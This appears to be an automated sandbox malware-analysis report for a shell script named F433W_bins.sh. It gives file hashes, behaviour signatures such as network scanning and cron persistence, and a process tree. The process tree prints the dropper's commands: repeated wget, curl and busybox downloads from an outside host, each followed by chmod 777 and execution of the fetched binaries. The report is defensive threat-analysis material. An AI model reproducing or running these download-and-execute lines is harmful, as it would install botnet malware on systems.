Analysis
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max time kernel
150s -
max time network
155s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
24-11-2024 06:16
Static task
static1
Behavioral task
behavioral1
Sample
F433W_bins.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
F433W_bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
F433W_bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
F433W_bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
F433W_bins.sh
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Size
10KB
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MD5
2128d7e395a2eda74b31415f79e2df84
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SHA1
eaf344e3ed44c9d46fc9aa91743c11475268dd2b
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SHA256
b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84
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SHA512
f1a8d87a630d598fce85b893aab3642deed5c779a63c2dc5beab0dfd3a1378e525ad4827d46bb36e8d950fd3fdcd201ba30162865aabba94e1eefe71e68d71a4
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SSDEEP
96:YQMyUi6nL7XUL/TsL40hHbWbSq0+B5NWGAf3IL40/1VQ40dd4/4T41G+x1z1zL1n:tYsMkzAc1G+7JzRr8Ac1G+zJzRrG
Malware Config
Signatures
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Contacts a large (1568) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodpid process 749 chmod 773 chmod 811 chmod 918 chmod 741 chmod -
Executes dropped EXE 5 IoCs
Processes:
Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSsQcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Qz25gEXNIJE5CQauEjrWBNsO2haINoBkLWFioc pid process /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59 742 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59 /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7 750 RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7 /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs 775 CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q 812 QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q /tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF 919 z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF -
Renames itself 1 IoCs
Processes:
QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Qpid process 813 QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.pU1Knh crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Qcurlcrontabcrontabdescription ioc process File opened for reading /proc/978/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/1016/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/1011/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/332/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/532/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/988/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/842/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/847/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/857/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/883/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/968/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/4/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/74/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/829/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/998/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/999/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/886/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/5/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/337/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/868/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/1002/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/918/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/945/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/1001/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/705/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/939/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/994/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/1007/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/1012/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/filesystems crontab File opened for reading /proc/filesystems crontab File opened for reading /proc/1018/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/22/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/984/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/1005/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/1006/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/3/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/6/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/954/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/946/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/997/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/862/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/874/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/891/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/897/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/901/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/906/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/9/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/165/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/851/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/928/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/936/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/964/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/925/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/941/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/7/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/895/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/922/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/866/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/1014/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/848/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/887/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q File opened for reading /proc/992/cmdline QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q -
System Network Configuration Discovery 1 TTPs 17 IoCs
Adversaries may gather information about the network configuration of a system.
Processes:
curlwgetwgetcurlcurlbusyboxcurlbusyboxbusyboxcurlwgetbusyboxcurlwgetwgetbusyboxwgetpid process 923 curl 753 wget 826 wget 911 curl 746 curl 748 busybox 756 curl 808 busybox 913 busybox 732 curl 745 wget 769 busybox 794 curl 922 wget 716 wget 740 busybox 779 wget -
Writes file to tmp directory 13 IoCs
Malware often drops required files in the /tmp directory.
Processes:
busyboxwgetcurlbusyboxwgetbusyboxwgetwgetcurlbusyboxcurlbusyboxcurldescription ioc process File opened for modification /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59 busybox File opened for modification /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7 wget File opened for modification /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7 curl File opened for modification /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7 busybox File opened for modification /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q wget File opened for modification /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q busybox File opened for modification /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59 wget File opened for modification /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs wget File opened for modification /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs curl File opened for modification /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs busybox File opened for modification /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q curl File opened for modification /tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF busybox File opened for modification /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59 curl
Processes
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/tmp/F433W_bins.sh/tmp/F433W_bins.sh1⤵PID:708
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/bin/rm/bin/rm bins.sh2⤵PID:710
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN592⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:716
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN592⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:732
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN592⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:740
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/bin/chmodchmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN592⤵
- File and Directory Permissions Modification
PID:741
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/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN592⤵
- Executes dropped EXE
PID:742
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/bin/rmrm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN592⤵PID:744
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut72⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:745
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut72⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:746
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut72⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:748
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/bin/chmodchmod 777 RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut72⤵
- File and Directory Permissions Modification
PID:749
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/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7./RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut72⤵
- Executes dropped EXE
PID:750
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/bin/rmrm RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut72⤵PID:752
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:753
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:756
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:769
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/bin/chmodchmod 777 CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs2⤵
- File and Directory Permissions Modification
PID:773
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/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs./CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs2⤵
- Executes dropped EXE
PID:775
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/bin/rmrm CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs2⤵PID:778
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:779
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:794
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:808
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/bin/chmodchmod 777 QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q2⤵
- File and Directory Permissions Modification
PID:811
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/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q./QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:812 -
/bin/shsh -c "crontab -l"3⤵PID:814
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:816
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/bin/shsh -c "crontab -"3⤵PID:819
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:820
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/bin/rmrm QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q2⤵PID:823
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF2⤵
- System Network Configuration Discovery
PID:826
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF2⤵
- System Network Configuration Discovery
PID:911
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:913
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/bin/chmodchmod 777 z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF2⤵
- File and Directory Permissions Modification
PID:918
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/tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF./z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF2⤵
- Executes dropped EXE
PID:919
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/bin/rmrm z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF2⤵PID:921
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB2⤵
- System Network Configuration Discovery
PID:922
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB2⤵
- System Network Configuration Discovery
PID:923
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
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Filesize
210B
MD52d0f9fc6b7d701c60c718db6ac79b19a
SHA186b348bf76c6a90fec87524c792c2eeeaf6507ee
SHA2566f769b7a665d9be6a0f2776d47abf9e49d8c40f9490d88d9ef88a609b5b18ba5
SHA512a553c9f56ea097976f00ad86f86a8f71aa4f14c0c8da4609bd55af9afcebdf42140db5d492c42dab8adcb77563f5a7d5aa7f759fbd2a8866d2de928c433b74d4